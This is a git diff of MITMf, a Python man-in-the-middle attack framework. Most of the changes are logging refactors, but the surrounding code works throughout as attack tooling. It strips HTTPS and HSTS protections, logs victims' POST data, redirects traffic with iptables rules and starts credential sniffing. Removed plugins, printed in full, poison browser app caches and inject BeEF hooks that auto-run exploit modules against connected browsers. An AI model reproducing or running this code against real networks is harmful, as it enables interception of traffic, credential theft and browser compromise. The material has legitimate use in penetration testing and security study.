self.headers['host'])) - except Exception as e: - mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) - mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host'])) - pass - - mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) + + log.info(self.headers['host'], extra=self.clientInfo) + + log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -96,17 +89,26 @@ class ServerConnection(HTTPClient): try: postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: - mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata)) + log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo) except Exception as e: if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message: - mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) - pass + log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host'])) self.printPostData = True self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("[ServerConnection] HTTP connection made.") + log.debug("[ServerConnection] HTTP connection made.") + + user_agent = parse(self.headers['user-agent']) + + self.clientInfo["clientip"] = self.client.getClientIP() + self.clientInfo["clientos"] = user_agent.os.family + self.clientInfo["browser"] = user_agent.browser.family + try: + self.clientInfo["browserv"] = user_agent.browser.version[0] + except IndexError: + self.clientInfo["browserv"] = "Other" self.plugins.hook() self.sendRequest() @@ -123,7 +125,7 @@ class ServerConnection(HTTPClient): code = values['code'] message = values['message'] - mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -135,18 +137,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[ServerConnection] Response is image content, not scanning") + log.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[ServerConnection] Response is compressed") + log.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - if self.clientInfo is not None: - mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) - else: - mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) + log.info("Zapped a strict-trasport-security header", extra=self.clientInfo) elif (key.lower() == 'content-length'): self.contentLength = value @@ -161,14 +160,17 @@ class ServerConnection(HTTPClient): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) + self.client.setHeader("Expires", "0") + self.client.setHeader("Cache-Control", "No-Cache") + if self.length == 0: self.shutdown() self.plugins.hook() - if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): if (self.isImageRequest): @@ -180,20 +182,21 @@ class ServerConnection(HTTPClient): if (self.isImageRequest): self.shutdown() else: + #Gets rid of some generic errors try: - HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + HTTPClient.handleResponseEnd(self) except: pass def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("[ServerConnection] Decompressing content...") + log.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) data = self.plugins.hook()['data'] - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -206,7 +209,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.") + log.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -214,7 +217,7 @@ class ServerConnection(HTTPClient): sustitucion = {} patchDict = self.urlMonitor.patchDict - if len(patchDict)>0: + if patchDict: dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) @@ -222,12 +225,12 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url) - nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) + log.debug("[ServerConnection][HSTS] Found secure reference: " + url) + nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) + log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl - if len(sustitucion)>0: + if sustitucion: dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) @@ -240,11 +243,11 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) + log.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') - self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) return re.sub(ServerConnection.urlType, 'http://', data) diff --git a/core/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py index a64c800..48feda5 100644 --- a/core/sslstrip/ServerConnectionFactory.py +++ b/core/sslstrip/ServerConnectionFactory.py @@ -17,9 +17,10 @@ # import logging + from twisted.internet.protocol import ClientFactory -mitmf_logger = logging.getLogger('mimtf') +log = logging.getLogger('mitmf') class ServerConnectionFactory(ClientFactory): @@ -34,12 +35,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + log.debug("[ServerConnectionFactory] Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + log.debug("[ServerConnectionFactory] Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 54b4bd5..6b266c5 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -18,9 +18,10 @@ import re, os import logging + from core.configwatcher import ConfigWatcher -mitmf_logger = logging.getLogger('mimtf') +log = logging.getLogger('mitmf') class URLMonitor: @@ -57,7 +58,7 @@ class URLMonitor: #This is here because I'm lazy def getResolverPort(self): - return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) + return int(ConfigWatcher().config['MITMf']['DNS']['port']) def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -78,7 +79,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) + log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -119,7 +120,7 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) + log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) url = 'http://' + host + path @@ -155,14 +156,14 @@ class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self, host): - mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) + log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) self.updateHstsConfig() if self.real.has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) + log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) return self.real[host] else: - mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) + log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) return host diff --git a/core/utils.py b/core/utils.py index 42a9aa2..529c4fb 100644 --- a/core/utils.py +++ b/core/utils.py @@ -25,22 +25,23 @@ import logging import re import sys -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins -mitmf_logger = logging.getLogger('mitmf') +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr, get_if_hwaddr + +log = logging.getLogger('mitmf') def shutdown(message=None): for plugin in ProxyPlugins.getInstance().plist: - plugin.finish() + plugin.on_shutdown() sys.exit(message) class SystemConfig: @staticmethod def setIpForwarding(value): - mitmf_logger.debug("[Utils] Setting ip forwarding to {}".format(value)) + log.debug("[Utils] Setting ip forwarding to {}".format(value)) with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: file.write(str(value)) file.close() @@ -53,7 +54,7 @@ class SystemConfig: shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface)) return ip_address - except Exception, e: + except Exception as e: shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) @staticmethod @@ -81,23 +82,23 @@ class IpTables: return IpTables._instance def Flush(self): - mitmf_logger.debug("[Utils] Flushing iptables") + log.debug("[Utils] Flushing iptables") os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns = False self.http = False def HTTP(self, http_redir_port): - mitmf_logger.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) + log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True def DNS(self, dns_redir_port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True def SMB(self, smb_redir_port): - mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) self.smb = True @@ -163,6 +164,6 @@ class Banners: ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ """ - def printBanner(self): + def get_banner(self): banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5] - print random.choice(banners) \ No newline at end of file + return random.choice(banners) diff --git a/libs/bdfactory b/libs/bdfactory index 0bd3429..6fcff6b 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe +Subproject commit 6fcff6bdb511ca306ec9ad29872342086714dd1d diff --git a/mitmf.py b/mitmf.py index 3ba5218..a2c8b7c 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,158 +18,102 @@ # USA # +import logging import argparse import sys import os -import logging import threading from twisted.web import http from twisted.internet import reactor -from core.sslstrip.CookieCleaner import CookieCleaner -from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown +from core.logger import logger + from plugins import * -Banners().printBanner() +print Banners().get_banner() if os.geteuid() != 0: - sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?") + sys.exit("[-] The derp is strong with this one") -mitmf_version = "0.9.7" -sslstrip_version = "0.9" -sergio_version = "0.2.1" - -parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +parser = argparse.ArgumentParser(description="MITMf v0.9.8 - 'The Dark Side'", version="0.9.8 - 'The Dark Side'", usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") -mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use") +mgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") +mgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') -#add sslstrip options +#Add sslstrip options sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") slogopts = sgroup.add_mutually_exclusive_group() -slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") -slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") -slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") -sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") +sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") +sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") -#Initialize plugins -plugin_classes = plugin.Plugin.__subclasses__() +#Initialize plugins and pass them the parser NameSpace object +plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] -plugins = [] -try: - for p in plugin_classes: - plugins.append(p()) -except Exception as e: - print "[-] Failed to load plugin class {}: {}".format(p, e) - - -arg_dict = dict() #dict containing a plugin's optname with it's relative options - -#Give subgroup to each plugin with options -try: - for p in plugins: - if p.desc == "": - sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name)) - else: - sgroup = parser.add_argument_group(p.name, p.desc) - - sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) - - if p.has_opts: - p.pluginOptions(sgroup) - - arg_dict[p.optname] = vars(sgroup)['_group_actions'] - -except NotImplementedError: - sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) - -if len(sys.argv) is 1: +if len(sys.argv) == 1: parser.print_help() sys.exit(1) -args = parser.parse_args() +options = parser.parse_args() -# Definitely a better way to do this, will need to clean this up in the future -# Checks to see if we called a plugin's options without first invoking the actual plugin -for plugin, options in arg_dict.iteritems(): - if vars(args)[plugin] is False: - for option in options: - if vars(args)[option.dest]: - sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin)) +#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object +options.ip = SystemConfig.getIP(options.interface) +options.mac = SystemConfig.getMAC(options.interface) -#check to see if we supplied a valid interface -myip = SystemConfig.getIP(args.interface) -mymac = SystemConfig.getMAC(args.interface) +#Set the log level +logger().log_level = logging.__dict__[options.log_level.upper()] +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger('mitmf', formatter) -#Start logging -log_level = logging.__dict__[args.log_level.upper()] - -logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -mitmf_logger = logging.getLogger('mitmf') -fileHandler = logging.FileHandler("./logs/mitmf.log") -fileHandler.setFormatter(logFormatter) -mitmf_logger.addHandler(fileHandler) - -##################################################################################################### - -#All our options should be loaded now, initialize the plugins -print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) - -for p in plugins: - - #load only the plugins that have been called at the command line - if vars(args)[p.optname] is True: - - print "|_ {} v{}".format(p.name, p.version) - if p.tree_info: - for line in xrange(0, len(p.tree_info)): - print "| |_ {}".format(p.tree_info.pop()) - - p.initialize(args) - - if p.tree_info: - for line in xrange(0, len(p.tree_info)): - print "| |_ {}".format(p.tree_info.pop()) - - ProxyPlugins.getInstance().addPlugin(p) - -#Plugins are ready to go, let's rock & roll +from core.sslstrip.CookieCleaner import CookieCleaner +from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor -URLMonitor.getInstance().setFaviconSpoofing(args.favicon) -CookieCleaner.getInstance().setEnabled(args.killsessions) +URLMonitor.getInstance().setFaviconSpoofing(options.favicon) +CookieCleaner.getInstance().setEnabled(options.killsessions) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy -reactor.listenTCP(args.listen, strippingFactory) +reactor.listenTCP(options.listen_port, strippingFactory) -for p in ProxyPlugins.getInstance().plist: +#All our options should be loaded now, start initializing the plugins +print "[*] MITMf v0.9.8 - 'The Dark Side'" +for plugin in plugins: - p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it - p.startConfigWatch() + #load only the plugins that have been called at the command line + if vars(options)[plugin.optname] is True: - if hasattr(p, 'startThread'): - t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) - t.setDaemon(True) - t.start() + print "|_ {} v{}".format(plugin.name, plugin.version) + if plugin.tree_info: + for line in xrange(0, len(plugin.tree_info)): + print "| |_ {}".format(plugin.tree_info.pop()) + + plugin.initialize(options) + + if plugin.tree_info: + for line in xrange(0, len(plugin.tree_info)): + print "| |_ {}".format(plugin.tree_info.pop()) + + ProxyPlugins.getInstance().addPlugin(plugin) + plugin.reactor(strippingFactory) + plugin.setup_logger() + plugin.start_config_watch() print "|" -print "|_ Sergio-Proxy v{} online".format(sergio_version) -print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) +print "|_ Sergio-Proxy v0.2.1 online" +print "|_ SSLstrip v0.9 by Moxie Marlinspike online" #Start Net-Creds from core.netcreds.NetCreds import NetCreds -NetCreds().start(args.interface, myip) +NetCreds().start(options.interface) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef @@ -184,8 +128,8 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) #start the reactor reactor.run() diff --git a/other_setup.sh b/other_setup.sh old mode 100644 new mode 100755 diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py deleted file mode 100644 index 296522f..0000000 --- a/plugins/AppCachePoison.py +++ /dev/null @@ -1,203 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import re -import os.path -import time -import sys - -from datetime import date -from plugins.plugin import Plugin -from core.sslstrip.URLMonitor import URLMonitor - -mitmf_logger = logging.getLogger("mitmf") - -class AppCachePlugin(Plugin): - name = "AppCachePoison" - optname = "appoison" - desc = "Performs App Cache Poisoning attacks" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.options = options - self.mass_poisoned_browsers = [] - self.urlMonitor = URLMonitor.getInstance() - - self.urlMonitor.setAppCachePoisoning() - - def serverResponse(self, response, request, data): - - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request - url = request.client.uri - req_headers = request.client.getAllHeaders() - headers = request.client.responseHeaders - ip = request.client.getClientIP() - - ######################################################################### - - if "enable_only_in_useragents" in self.app_config: - regexp = self.app_config["enable_only_in_useragents"] - if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) - return {'response': response, 'request': request, 'data': data} - - urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) - (name,s,element,url) = self.getSectionForUrls(urls) - - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} - - mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) - p = self.getTemplatePrefix(s) - - if element == 'tamper': - mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() - - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip - return data - - def getMassPoisonHtml(self): - html = "
" - for i in self.app_config: - if isinstance(self.app_config[i], dict): - if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): - html += "" - - return html + "
" - - def cacheForFuture(self, headers): - ten_years = 315569260 - headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) - headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh - in_ten_years = date.fromtimestamp(time.time() + ten_years) - headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) - - def removeDangerousHeaders(self, headers): - headers.removeHeader("X-Frame-Options") - - def getSpoofedManifest(self, url, section): - p = self.getTemplatePrefix(section) - if not os.path.exists(p+'.manifest'): - p = self.getDefaultTemplatePrefix() - - f = open(p + '.manifest', 'r') - manifest = f.read() - f.close() - return self.decorate(manifest, section) - - def decorate(self, content, section): - for i in section: - content = content.replace("%%"+i+"%%", section[i]) - return content - - def getTemplatePrefix(self, section): - if section.has_key('templates'): - return self.app_config['templates_path'] + '/' + section['templates'] - - return self.getDefaultTemplatePrefix() - - def getDefaultTemplatePrefix(self): - return self.app_config['templates_path'] + '/default' - - def getManifestUrl(self, section): - return section.get("manifest_url",'/robots.txt') - - def getSectionForUrls(self, urls): - for url in urls: - for i in self.app_config: - if isinstance(self.app_config[i], dict): #section - section = self.app_config[i] - name = i - - if section.get('tamper_url',False) == url: - return (name, section, 'tamper',url) - - if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): - return (name, section, 'tamper',url) - - if section.get('manifest_url',False) == url: - return (name, section, 'manifest',url) - - if section.get('raw_url',False) == url: - return (name, section, 'raw',url) - - return (None, False,'',urls.copy().pop()) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py deleted file mode 100644 index 1ff520f..0000000 --- a/plugins/BeefAutorun.py +++ /dev/null @@ -1,122 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import sys -import json -import threading - -from time import sleep -from core.beefapi import BeefAPI -from core.utils import SystemConfig, shutdown -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class BeefAutorun(Inject, Plugin): - name = "BeEFAutorun" - optname = "beefauto" - desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.options = options - self.ip_address = SystemConfig.getIP(options.interface) - - Inject.initialize(self, options) - - self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - - beefconfig = self.config['MITMf']['BeEF'] - - self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) - - self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not self.beef.login(beefconfig['user'], beefconfig['pass']): - shutdown("[BeEFAutorun] Error logging in to BeEF!") - - def startThread(self): - self.autorun() - - def onConfigChange(self): - self.initialize(self.options) - - def autorun(self): - already_ran = [] - already_hooked = [] - - while True: - mode = self.config['BeEFAutorun']['mode'] - - for hook in self.beef.hooked_browsers.online: - - if hook.session not in already_hooked: - mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os)) - already_hooked.append(hook.session) - self.black_ips.append(hook.ip) - - if mode == 'oneshot': - if hook.session not in already_ran: - self.execModules(hook) - already_ran.append(hook.session) - - elif mode == 'loop': - self.execModules(hook) - sleep(10) - - sleep(1) - - def execModules(self, hook): - all_modules = self.config['BeEFAutorun']["ALL"] - targeted_modules = self.config['BeEFAutorun']["targets"] - - if all_modules: - mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip)) - - for module, options in all_modules.iteritems(): - - for m in self.beef.modules.findbyname(module): - resp = m.run(hook.session, json.loads(options)) - - if resp["success"] == 'true': - mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) - else: - mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) - - sleep(0.5) - - if (hook.name and hook.os): - for os in targeted_modules: - if (os == hook.os) or (os in hook.os): - mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip)) - - for browser in targeted_modules[os]: - if browser == hook.name: - for module, options in targeted_modules[os][browser].iteritems(): - for m in self.beef.modules.findbyname(module): - resp = m.run(hook.session, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) - else: - mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) - - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index aa831f4..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging - -from pprint import pformat -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class BrowserProfiler(Inject, Plugin): - name = "BrowserProfiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.output = {} # so other plugins can access the results - - Inject.initialize(self, options) - self.html_payload = self.get_payload() - - def post2dict(self, post): #converts the ajax post to a dic - d = dict() - for line in post.split('&'): - t = line.split('=') - d[t[0]] = t[1] - return d - - def clientRequest(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - request.printPostData = False - - self.output = self.post2dict(request.postData) - self.output['ip'] = request.client.getClientIP() - self.output['useragent'] = request.clientInfo - - if self.output['plugin_list']: - self.output['plugin_list'] = self.output['plugin_list'].split(',') - - 